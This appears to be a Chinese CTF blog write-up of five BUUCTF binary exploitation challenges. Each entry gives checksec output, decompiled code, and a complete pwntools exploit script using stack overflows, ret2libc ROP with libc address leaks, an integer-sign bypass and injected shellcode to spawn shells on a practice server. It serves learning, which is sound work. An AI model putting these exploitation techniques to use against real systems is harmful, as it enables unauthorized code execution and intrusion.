BUUCTF Pwn Part4

[BUUCTF Pwn Part4](http://www.joe1sn.top/blog/buuctf/buuctf-pwn-part4.html/

)

1.pwn2_sctf_2016

环境：Ubuntu16

1.checksec

[*] '/home/one/CTF/questions/BUUCTF/pwn/pwn2_sctf_2016/'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.IDA

vuln

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n((int)&nptr, 4u);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n((int)&nptr, v2);
  return printf("You said: %s\n", &nptr);
}

get_n

int __cdecl get_n(int a1, unsigned int a2)
{
  int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int v5; // [esp+Ch] [ebp-Ch]
    
  v5 = 0;
  while ( 1 )
  {
    v4 = getchar();
    if ( !v4 || v4 == 10 || v5 >= a2 )
      break;
    v2 = v5++;
    *(_BYTE *)(v2 + a1) = v4;
  }
  result = a1 + v5;
  *(_BYTE *)(a1 + v5) = 0;
  return result;
}

这里就存在一个atoi，输入-1时会转化为非零型整数，造成整数溢出

整数了过后，就可以写更多的值，从而getshell

溢出要覆盖的量可以从gdb调试出来

3.EXP

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("./pwn2_sctf_2016")
libc = ELF("./libc-2.23.so")
p = remote("node3.buuoj.cn",29632)
#p = process("./pwn2_sctf_2016")

start_addr = 0x080483d0
output_addr = 0x080486F8
vuln_addr = 0x0804852F
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

payload = 'a'*48 
payload += p32(printf_plt) + p32(start_addr) 
payload += p32(output_addr) + p32(elf.got["__libc_start_main"])

p.recvuntil("?")
p.sendline("-1")
p.recv()
p.sendline(flat(payload))

p.recvuntil("You said: ") #一段无法输出完整
p.recvuntil("You said: ")

main_real = u32(p.recv(4))
#libc = LibcSearcher('__libc_start_main',main_real)
libcbase = main_real - libc.sym["__libc_start_main"]
sys_addr = libcbase + libc.sym['system']
binsh = libcbase + libc.search("/bin/sh\x00").next()

payload = 'a'*48 + p32(sys_addr)+p32(output_addr) + p32(binsh)

p.recvuntil("?")
p.sendline("-1")
p.recvuntil("!")
p.sendline(payload)
p.interactive()

2.jarvisoj_level0

环境：Ubuntu16

1.checksec

[*] '/home/one/CTF/questions/BUUCTF/pwn/jarvisoj_level0/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL, "Hello, World\n");
}

vulnerable_function

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

简单溢出，且含有system binsh

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",28704)
binsh = 0x040059A
payload = 'a'*0x88 + p64(binsh)
p.sendlineafter("\n",payload)
p.interactive()

3.[HarekazeCTF2019]baby_rop2

环境：？

1.checksec

[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/[HarekazeCTF2019]baby_rop2/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[28]; // [rsp+0h] [rbp-20h]
  int v6; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ", 0LL);
  v3 = read(0, buf, 0x100uLL);
  v6 = v3;
  buf[v3 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!\n", buf);
  return 0;
}

printf输出read的真实地址，再ROP

3.EXP

from pwn import *
#from LibcSearcher import *
context.log_level = "debug"
elf=ELF('./babyrop2')
libc = ELF("./libc.so.6")
#p=process('babyrop2')
p=remote('node3.buuoj.cn',28113)

pop_rdi_ret=0x0000000000400733
pop_rsi_r15_ret=0x0000000000400731
format_addr=0x0000000000400790 # %s

printf_plt=elf.plt['printf']
read_got=elf.got['read']
main_plt=elf.sym['main']

payload = "a"*0x28
payload += p64(pop_rdi_ret) + p64(format_addr)
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)
payload += p64(printf_plt) + p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)

p.recvuntil("!\n")
read_real = u64(p.recv(6).ljust(8,"\x00"))
libc_base = read_real - libc.sym['read']

sys_addr = libc.sym["system"] + libc_base
binsh = libc.search("/bin/sh").next() + libc_base

payload = 'a'*0x28
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(sys_addr)

p.recvuntil("name? ")
p.sendline(payload)
p.interactive()

flag 位置在 /home/babyrop2/

4.ez_pz_hackover_2016

环境：Ubuntu16

1.checksec

[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/ez_pz_hackover_2016/ez_pz_hackover_2016'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  header();
  chall();
  return 0;
}

chall

int chall()
{
  size_t v0; // eax
  int result; // eax
  char s; // [esp+Ch] [ebp-40Ch]
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", &s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(&s, 1023, stdin);
  v0 = strlen(&s);
  v3 = memchr(&s, 10, v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", &s);
  result = strcmp(&s, "crashme");
  if ( !result )
    result = vuln((unsigned int)&s, 0x400u);
  return result;
}

vuln

void *__cdecl vuln(char src, size_t n)
{
  char dest; // [esp+6h] [ebp-32h]

  return memcpy(&dest, &src, n);
}

strlen()遇见'\x00'截断

s 和 vuln里面dest 的ebp 的距离

memchr比较前十个字符串

3.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29397)
#p = process("./ez_pz_hackover_2016")

p.recvuntil("Yippie, lets crash: 0x")
stack_addr = int(p.recv(8),16)
print hex(stack_addr)
payload = "crashme\x00" + 'a'*(0x40-0x32+4) 
payload += p32(stack_addr-(0x40-0x32+4+10)) + asm(shellcraft.sh())
p.sendlineafter("> ",payload)
p.interactive()

5.jarvisoj_level2

环境：Ubuntu：16

1.checksec

[*] '/mnt/c/Disk E/CTF/Question/BUUCTF/pwn/jarvisoj_level2/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

vulnerable_function

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

有system和binsh

3.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26265)
#p= process("./level2")

sys_addr = 0x0804845C
binsh = 0x0804A024

payload = 'a'*(0x88+4)
payload += p32(sys_addr) + p32(binsh)

p.sendlineafter(":",payload)
p.interactive()

system只能选取已经执行过的system